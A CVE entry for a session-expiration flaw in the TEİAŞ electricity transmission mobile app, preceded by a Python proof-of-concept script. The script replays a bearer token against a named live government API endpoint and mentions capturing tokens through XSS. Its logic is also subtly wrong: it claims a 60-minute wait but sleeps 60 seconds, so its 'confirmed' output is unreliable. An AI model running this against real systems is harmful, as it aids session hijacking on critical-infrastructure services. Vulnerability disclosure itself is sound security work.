CVE-2026-1815

import requests import time # POC for CVE-2026-1815: Insufficient Session Expiration # This script demonstrates that a session token remains valid beyond the expected timeout. target_url = "https://api.teias.gov.tr/v1/user/profile" # Simulate a captured session token from a vulnerable version (e.g., v1.6.2) # In a real attack, this might be obtained via XSS or local storage access. vulnerable_session_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.simulated_token" headers = { "User-Agent": "TEIAS-App/1.6.2 (Android 12)", "Authorization": f"Bearer {vulnerable_session_token}" } def check_session_validity(): try: response = requests.get(target_url, headers=headers, timeout=5) if response.status_code == 200: print("[+] Session is VALID. Request successful.") print(f"[+] Data received: {response.text[:100]}...") return True else: print(f"[-] Session is INVALID or Error. Status: {response.status_code}") return False except Exception as e: print(f"[!] Connection error: {e}") return False print("[*] Step 1: Validating session immediately after login.") check_session_validity() print("\n[*] Step 2: Waiting for extended period (simulating lack of expiration)...") # Wait for 60 minutes to check if session expires (Standard timeout should be much lower) # For demonstration, we assume the vulnerability allows this. time.sleep(60) print("[*] Step 3: Reusing the same session token after delay.") if check_session_validity(): print("\n[!] VULNERABILITY CONFIRMED: Session did not expire properly.") else: print("\n[-] Mitigation may be present: Session expired.")

{"cve": {"id": "CVE-2026-1815", "sourceIdentifier": "[email protected]", "published": "2026-05-21T15:16:22.413", "lastModified": "2026-05-21T15:24:41.890", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient session expiration vulnerability in Turkiye Electricity Transmission Corporation (TEİAŞ) Mobile Application allows Session Hijacking.\n\nThis issue affects Mobile Application: from 1.6.2 before 1.13."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-613"}]}], "references": [{"url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-0286", "source": "[email protected]"}]}}